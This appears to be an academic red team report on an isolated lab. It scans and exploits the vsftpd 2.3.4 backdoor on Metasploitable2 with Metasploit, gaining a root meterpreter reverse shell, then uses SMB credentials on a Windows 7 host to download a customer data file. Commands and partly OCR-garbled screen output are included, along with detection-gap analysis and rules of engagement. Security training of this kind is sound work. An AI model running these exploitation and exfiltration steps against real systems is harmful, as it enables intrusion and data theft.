1. Exploitation of at least one vulnerable service to gain initial access
1. Demonstration of access to an internal system using valid credentials
1. Attempted or successful privilege escalation
1. Identification and exfiltration of sensitive data from the target environment
[bookmark: _Toc228059723][bookmark: _Toc228127140]4.5 Justification of Approach
The chosen method gave a preference to simplicity, reproducibility, and real-world attacks. Instead of using very advanced or sophisticated techniques, the engagement was geared towards illustrating the basic vulnerabilities like unprotected services, weak credentials, and monitoring controls.
Such methodology is representative of the real-world attack situations that have been witnessed in real-life breaches, and in most cases, the attackers tend to take advantage of simple security misconfigurations instead of advanced zero-day exploits. The analysis is further enhanced by mapping the attack into the MITRE ATT&CK framework, as it offers a standardised representation of adversarial behaviour.
Ping was used to check network connectivity between systems (see Appendix B).
[bookmark: _Toc228059724][bookmark: _Toc228127141]5. Attack Execution and Exploitation
The following section will show the step-by-step implementation of the red team engagement, where the attacker advanced through the various stages of the attack lifecycle. The evidence behind each stage is the list of commands performed and the results of the same.
[bookmark: _Toc228059725][bookmark: _Toc228127142]5.1 Exploit 1 — Web Server Compromise (Metasploitable2)
The attack was initiated by reconnaissance to determine active hosts and services in the network. Nmap was also used by the attacker to scan the Metasploitable2 system on a service scan.
nmap -sV <Metasploitable_IP>
The scan showed the presence of several open ports, such as FTP service on port 21 (vsftpd version 2.3.4) that is known to have a backdoor vulnerability (OWASP Foundation, 2021).
[image: ]
Figure 2: Nmap scan identifying open ports and vulnerable FTP service (vsftpd 2.3.4).
(Source: By Author)
Based on this finding, the attacker utilised the Metasploit Framework to exploit the vulnerability.
msfconsole
search vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS <Metasploitable_IP>
set LHOST <Kali_IP>
run
The exploit successfully established a command shell session on the target system, providing the attacker with initial access (Rapid7, 2024).
[image: ]
Figure 3: Metasploit framework loading in Kali
(Source: By Author)
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Figure 4: Searching exact name for vsftpd
(Source: By Author)
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Figure 5:Successful exploitation of vsftpd backdoor resulting in command shell access
(Source: By Author)
To verify system access, basic commands were executed on the compromised machine.
whoami
uname -a
[image: ]
Figure 6:Verification of shell access and system information on compromised web server
(Source: By Author)
This phase is evidence of effective initial access and execution, which is a severe breach of the externally facing system (Weidman, 2019).
[bookmark: _Toc228059726][bookmark: _Toc228127143]5.2 Exploit 2 — Windows System Access via SMB
After accessing the system, the attacker redirected his attention to the internal Windows 7 system. A service scan was done to identify available services.
nmap -sV <Windows_IP>
The scan showed the port 445 (SMB) to be open, which shows the availability of file-sharing service.
[image: ]
Figure 7:Nmap scan confirming SMB service exposure on Windows system
(Source: By Author)
The attacker tried to use the Metasploit psexec module to exploit the system with valid user credentials.
use exploit/windows/smb/psexec
set RHOSTS <Windows_IP>
set SMBUser <username>
set SMBPass <password>
set LHOST <Kali_IP>
run
Nonetheless, the exploitation attempt was unsuccessful with an error of ACCESS DENIED, which means that the credentials provided did not have the administrative privilege.
Although the exploit failed to work, the attacker could successfully authenticate with SMB and list the available shared resources.
smbclient -L //<Windows_IP>/ -U <username>
The output showed administrative shares like C$ and ADMIN, which proved authentic authentication and access to the system.
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Figure 8:Successful SMB authentication and enumeration of shared resources
(Source: By Author)
[bookmark: _Toc228059727][bookmark: _Toc228127144]5.3 Exploit 3 — Data Exfiltration
During the last phase, the attacker showed data exfiltration out of the compromised environs. On the Windows system, a shared folder was created with sensitive information to simulate it.
This folder was shared, and it was accessible via SMB protocol.
[image: ]
Figure 9:Enabling file sharing to simulate data exposure
(Source: By Author)
The attacker proceeded to get into the shared directory of the Kali machine via SMB.
smbclient //<Windows_IP>/Data -U <username>
After being authenticated successfully, the attacker enumerated the list of files available and downloaded the sensitive file.
ls
get customer_data.txt
The file was accessed on the attacker machine to ensure that data exfiltration was successful.
cat customer_data.txt
[image: ]
Figure 10: Verification of exfiltrated data on the attacker machine
(Source: By Author)
[bookmark: _Toc228059728][bookmark: _Toc228127145]6. Detection Gap Analysis
The detection gap analysis assesses why the simulated attack has not been detected or prevented at various points during the engagement. This section identifies vulnerabilities in security controls, monitoring capabilities, and organisational practices which enabled the attacker to advance through the attack lifecycle with few challenges.
[bookmark: _Toc228059729][bookmark: _Toc228127146]6.1 Reconnaissance Phase
As part of reconnaissance, the attacker actively scanned the network with Nmap to determine live hosts and open ports. No intrusion detection or prevention systems (IDS/IPS) were present in the environment, and hence this activity was not detected.
The absence of network monitoring tools implied that the unusual scanning behaviour, like multiple port probes, was not detected. In practice, in a real-world setting, this scanning activity would normally result in alerts in a Security Information and Event Management (SIEM) system or network-based IDS. Lack of these controls enabled the attacker to obtain vital information on exposed services without any opposition (Scarfone and Mell, 2017).
[bookmark: _Toc228059730][bookmark: _Toc228127147]6.2 Initial Access and Exploitation
The vulnerable vsftpd service on the Metasploitable2 system was exploited successfully because of the availability of an old and unpatched service. They had not put in place a vulnerability management or patching process to detect and fix known vulnerabilities.
Also, web application firewalls (WAFs) and host-based intrusion detection systems (HIDS) were not in place to track suspicious activity. Consequently, the attempt to exploit did not create any alerts or logs that would have initiated an incident response. This indicates a major flaw in preventative and detective controls.
[bookmark: _Toc228059731][bookmark: _Toc228127148]6.3 Execution and System Compromise
Upon gaining access, the attacker was free to run commands on the compromised system. This means that there are no endpoint detection and response (EDR) solutions, which are used to track and analyse suspicious behaviour on the host level.
The system did not have a logging and auditing system that could identify abnormal execution of commands or abuse of privileges. Malicious scripts like shell access and command execution could go unnoticed without adequate endpoint visibility (Shackleford, 2020).
[bookmark: _Toc228059732][bookmark: _Toc228127149]6.4 Internal Access and Credential Abuse
The attacker was able to authenticate to the Windows system with valid credentials and gain access to shared resources using SMB. This points to a serious vulnerability of authentication and access control systems.
The system lacked rigorous password controls or multi-factor authentication (MFA), and it could be easily accessed with the use of credentials. Additionally, no tracking of the logins and unusual authentication behaviour was done that would have detected suspicious access by an external system (Behl and Behl, 2017).
The unsuccessful privilege escalation attempt that relied on the psexec module means that the privilege separation worked to some extent. But the capability of authenticating and enumerating administrative shares still poses a serious threat to lateral movement.
[bookmark: _Toc228059733][bookmark: _Toc228127150]6.5 Data Exfiltration
The last phase of the attack entailed exfiltration of sensitive data through SMB file transfer. This action went unnoticed because of the lack of data loss prevention (DLP) policies and monitoring of network traffic.
No measures were taken to check outgoing data transfers or abnormal file access patterns. In practice, in the real world, there would be monitoring and analysis of large or unauthorised transfers of data. Such controls were not in place, and this enabled the attacker to steal sensitive information without any alarms.
[bookmark: _Toc228059734][bookmark: _Toc228127151]7. Tools and Techniques Used
The table below provides an overview of the major tools and techniques that were utilised in the red team engagement (Nmap Project, 2023).
	Tool / Technique
	Purpose
	Application in This Engagement

	Nmap
	Network scanning and enumeration
	Identified active hosts, open ports, and vulnerable services (e.g., vsftpd, SMB)

	Metasploit Framework
	Exploitation and post-exploitation
	Exploited vsftpd vulnerability and attempted SMB-based privilege escalation

	smbclient
	SMB interaction and file access
	Authenticated to Windows system, enumerated shares, and downloaded sensitive data

	Kali Linux
	Attack platform
	Used as the primary environment for executing all attack activities

	Service Enumeration
	Information gathering
	Discovered services and potential attack vectors

	Exploitation
	Gaining system access
	Exploited vulnerable services to obtain initial access

	Credential-Based Access
	Authentication using valid credentials
	Accessed internal system via SMB using weak credentials

	Privilege Escalation
	Gaining higher privileges
	Attempted escalation using Metasploit (psexec)

	Lateral Movement
	Moving within network
	Accessed internal system from attacker machine

	Data Exfiltration
	Extracting sensitive data
	Downloaded customer data file from shared folder



[bookmark: _Toc228059735][bookmark: _Toc228127152]8. Conclusion 
This red team exercise illustrated an entire attack lifecycle in a simulated environment of ABCD Ltd, such as reconnaissance, exploitation, internal access, and data exfiltration. First was access via a vulnerable web service, then via the internal Windows system using credentials. Privilege escalation has failed, but sensitive data has been stolen, which points to major weaknesses in security. Among the issues that have been identified are unpatched services, minimal controls on authentication, and the absence of monitoring mechanisms(Kim and Solomon, 2018). These results reinforce the need to institute multi-level security policies, like patch management, effective authentication, and active monitoring, to minimise organisational vulnerability to cyber threats.
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Appendix A: Rules of Engagement (RoE)
A1. Purpose
This Rules of Engagement (RoE) document defines the scope, constraints, and operational guidelines for the red team engagement conducted against the simulated environment of ABCD Ltd. The purpose of this document is to ensure that all testing activities are performed in a controlled, ethical, and authorised manner.
A2. Scope of Engagement
The engagement was conducted within a controlled virtual lab environment consisting of the following systems:
1. Kali Linux (Attacker Machine): Used to simulate adversarial actions
1. Metasploitable2 (Web Server): Represents the external-facing system
1. Windows 7 (Internal System): Represents an internal corporate endpoint
All systems were hosted within an isolated network to prevent interaction with external or real-world systems.
A3. Objectives
The objectives of the engagement were:
1. To identify vulnerabilities within the simulated environment
1. To demonstrate exploitation of exposed services
1. To simulate internal access using valid credentials
1. To perform controlled data exfiltration
1. To evaluate detection and response gaps
A4. Permitted Activities
The following activities were authorised during the engagement:
1. Network scanning and service enumeration
1. Exploitation of known vulnerabilities
1. Credential-based authentication and access
1. Controlled privilege escalation attempts
1. Access to shared resources and file systems
1. Data exfiltration within the lab environment
All activities were conducted strictly within the defined scope.
A5. Prohibited Activities
The following activities were strictly prohibited:
1. Denial-of-Service (DoS) or resource exhaustion attacks
1. Destructive actions affecting system integrity or availability
1. Modification of system configurations beyond testing requirements
1. Installation of persistent backdoors or long-term access mechanisms
1. Any interaction with external networks or real-world systems
A6. Safety and Containment
The lab environment was fully isolated using a host-only network configuration. This ensured that all attack activities were contained within the virtual environment and posed no risk to external systems.
Snapshots and backups were assumed to be available prior to testing, allowing recovery in case of system instability. Testing could be halted immediately if unintended effects were observed.
A7. Assumptions
The following assumptions were made:
1. All systems were intentionally vulnerable for testing purposes
1. Security controls such as EDR, SIEM, and firewalls were minimal or disabled
1. Valid credentials were available for testing internal access
1. Full authorisation was granted for all activities within the lab environment
A8. Ethical Considerations
All activities conducted during this engagement adhered to ethical hacking principles and professional standards. The engagement was performed solely for academic purposes and aimed at improving security awareness and understanding of cyber threats.
No real data, systems, or organisations were impacted during this assessment.
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Network Connectivity Verification
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Figure 11: IP address of MetaSploitable VM
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Figure 12: IP address of Windows VM
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Figure 13: Ping from Kali to Metasplotable
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Figure 14: Ping from kali to windows VM
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msf > serach vsftpd
Unknown command: serach. Did you mean search? Run the help command for more details
> search vsftpd

Matching Modules

# Name Disclosure Date Rank Check Description

0 auxiliary/dos/ftp/} | 232 2011-02-03 normal  Yes 2.3.2 Denial of Service

1 exploit/unix/ftp/] 234_backdoor 2011-07-03 excellent Yes v2.3.4 Backdoor Command Execu
tion

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
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msf > use exploit/unix/ftp/vsftpd_234_backdoor

[+] Using configured payload cmd/linux/http/x86/meterpreter_reverse_tcp

msf exploit(in i« fip/Usiiid 254 backdoor) > set RHOSTS 192.168.56.105

RHOSTS = 192.168.56.105

msf exploit(uiix/ </ usiipd 236 backdoor) > run

© 192.168.56.105:21 - Msf::OptionValidateError One or more options failed to validate: LHOST.
mSF exploit(ini«/ tp/vsiiid 23h Lackdoor) > set LHOST 192.168.56.106

LHOST = 192.168.56.106

nsf exploit(unix/ftp/vsftpd_234_backdoor) > run
[+] started reverse TCP handler on 192.168.56.10f
[+] 192.168.56.105:21 - Backdoor has been Spawnes
[+] Meterpreter session 1 opened (192.168.56.106:4444 —> 192.168.56.105:60789) at 2026-04-25 00:01:20 -0400

444
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meterpreter > whoami

| Unknown command: whoami. Run the help command for more details
meterpreter > id
| Unknown comman
meterpreter > getuid
Server username: root

meterpreter > sysinfo

id. Run the help command for more details

Computer metasploitable.localdomain

[ : Ubuntu 8.04 (Linux 2.6.24-16-server)
Architecture : 1686

BuildTuple : 1486-linux-musl

Meterpreter : x86/linux

meterpreter > shell
Process 4788 created.
Channel 1 created.

whoami
root

id

uid=0(root) gid=0(root)
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-5V 192.168.56.108
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-25 00:08 -0400

Nmap scan report for 192.168.56.108

Host is up (0.00045s latency).

Not shown: 992 closed tcp ports (reset)

PORT STATE SERVICE VERSTON

135/tcp  open msrpc Microsoft Windows RPC

139/tcp  open netbios-ssn Microsoft Windows netbios-ssn

445/tcp  open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)

(kali® kali)-[~]
s anap

49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC

MAC Address: 08:00:27:41:16:EC (Oracle VirtualBox virtual NIC)
Service Info: Host: WINDOWS7; OS: Windows; CPE: cpe:/o:microsoft:

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 62.04 seconds
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lkati®kali)-[~)
§ smbclient -L 192.168.56.108 -U vboxuser
Password for [WORKGROUP\vboxuser]

Sharename Type Comment
ADMINS Disk Remote Admin
cs Disk Default share
1PC$ 1PC Remote IPC

Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 192.168.56.108 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 — no workgroup available
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lketi®kali)-[-1

§ smbclient //192.168.56.108/data -U vboxuser
Password for [WORKGROUP\vboxuser]:

Try "help” to get a list of possible commands.
smb: \> bash

bash: command not found

smb: \> s

5 [ 0 Fri Apr 24 17:02:07 2026
2 [ 0 Fri Apr 24 17:02:07 2026
customer_data.txt.txt A 47 Fri Apr 24 17:02:45 2026

8388095 blocks of size 4096. 6806948 blocks available
smb: \> get customer_data.txt.txt
getting File \customer_data.txt.txt of size 47 as customer_data.txt.txt (7.6 KiloBytes/sec) (average 7.6 KiloBytes/
sec)
smb: \> cat customer_data.txt.txt
cat: command not found
smb: \> cat customer_data.txt
cat: command not found
smb: \> exit

latioati)-[-]

$ cat customer_data.txt.txt
John Doe

123456

$5000

Nam
Accoun
Balanc
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sfadninenetasploitable:™$ ip a
lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc nogueue
Link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
inet6 ::1/128 scope host
valid_Ift forever preferred_Ift forever
i etho: <BROADCAST,MULTICAST,UP,LOVER_UP> mtu 1500 gdisc pfifo_fast glen 1000
link/ether 08:00:27:43:40:5b brd £1:ff:ff:ff:ff:ff
inet 192.168.56.105/24 brd 192.168.56.255 scope global etho
ineth fe80::a00:27ff :fe43:405b/64 scope link
valid_Ift forever preferred_lft forever
i ethl: <BROADCAST,MULTICAST> mtu 1500 gdisc noop glen 1000
Link/ether 08:00:27:75:1a:5d brd £f:ff:ff:ff:ff:ff
sfadninenetasploitable

sfadninenetasploitable:
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\Users\vhoxuser>ipconfig

indous IP Configuration

thernet adapter Local Area Connection

Connection-specific DNS Suffix
IPu6 Address. . .

Temporary 1Pu6 Address
Link-local IPu6 Address

IPud Address. . . . .

Subnet Mask . . . . .

Default Gateway . . .

thernet adapter Local Area Connection:

Connection-specific DNS Suffix
Link-local IPu6 Address . . .
IPud Address. . . . - . . . .
Subnet Mask . . . . . ...
Default Gateway - - - . . . .

unnel adapter isatap.{3A5A061B-E2D6-4BO6-82CA-FDSEGE7646C9) :

£080: :0d63:997¢ :ade2:38ecx1l
192.168.56.108
255.255.255.0

Media State . . . Media disconnected

Connection-specific DN§ Suffix’ [ 2

unnel adapter isatap.(BSA97AD4-15D6-4D34-AFFD-1723CF668DF3) :

Media State . . Media disconnected

Connection-specific BNS Suffix
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,jﬁ kali® kali)-[~]
$ ping 192.168.56.105
PING 192.168.56.105 (192.168.56.105) 56(84) bytes of data.

64 bytes from 192.168.56. icmp_seq=1 ttl=64 .90 ms
64 bytes from 192.168.56. icmp_seq=2 .639 ms
64 bytes from 192.168.56.105: icmp_seq=3 ttl=64 .778 ms
64 bytes from 192.168.56. icmp_seq=4 .70 ms
64 bytes from 192.168.56. icmp_seq=5 ttl=64 .904 ms
64 bytes from 192.168.56.105: icmp_seq=6 ttl=64 .945 ms
64 bytes from 192.168.56.105: icmp_seq=7 ttl=64 .33 ms

“c

— 192.168.56.105 ping statistics —

7 packets transmitted, 7 received, 0% packet loss, time 6037ms
rtt min/avg/max/mdev = 0.639/1.169/1.898/0.445 ms
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rlatiokati-[-]
$ ping 192.168.56.108
PING 192.168.56.108 (192.168.5

08) 56(84) bytes of data.

From 10.0.3.2 icmp_se Destination Net Unreachable
From 10.0.3.2 icmp_seq=778 Destination Net Unreachable
From 10.0.3.2 icmp_se Destination Net Unreachable
From 10.0.3.2 icmp_se Destination Net Unreachable
From 10.0.3.2 icmp_seq=781 Destination Net Unreachable
From 10.0.3.2 icmp_se Destination Net Unreachable
From 10.0.3.2 icmp_se Destination Net Unreachable
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lkati®kati)-[~)

$ nmap -sV 192.168.56.105

Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-24 23:50 -0400
Nmap scan report for 192.168.56.105

Host is up (0.00034s latency).

Not shown: 977 closed tcp ports (reset)

PORT  STATE SERVICE  VERSION
21/tcp  open ftp vsftpd 2.3.4

22/tcp  open ssh OpenSsH 4.7p1 Debian Bubuntul (protocol 2.0)
23/tcp  open telnet Linux telnetd

25/tcp  open smtp Postfix smtpd

53/tcp  open domain IsC BIND 9.4.2

80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)

111/tcp open rpcbind 2 (RPC #100000)

139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

512/tcp open exec netkit-rsh rexecd
513/tcp open login OpenBSD or Solaris rlogind
514/tcp open shell Netkit rshd

1099/tcp open java-rmi  GNU Classpath grmiregistry
1524/tcp open bindshell ~Metasploitable root shell

2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ftp ProfFTPD 1.3.1

3306/tcp open mysql MySQL 5.0.51a-3ubuntus

5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open vnc VNC (protocol 3.3)

6000/tcp open  X11 (access denied)

6667/tcp open irc UnrealIRCd

8009/tcp open ajp13 Apache Jserv (Protocol vi.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1

MAC Address: 08:00:27:43:40:58 (Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; 0Ss: Unix, Linux; CPE: cp
_kernel

Service detection performed. Please report any incorrect results at http
Nmap done: 1 IP address (1 host up) scanned in 13.86 seconds

//nmap.org/submit/ .




image3.png
[lati®kali) (-]
$ msfconsole
Metasploit tip: Start commands with a space to avoid saving them to history
Call trans opt: received. 2-19-98 13:24:18 REC:Loc

Trace program: running

wake up, Neo ...
the matrix has you
follow the white rabbit.

knock, knock, Neo.

https://metasploit.com

metasploit v6.4.116-dev

]
2,623 exploits - 1,326 auxiliary - 1,707 payloads
431 post - 49 encoders - 14 nops - 10 evasion

Metasploit Documentation: https://docs.metasploit.con/
The Metasploit Framework is a Rapid7 Open Source Project
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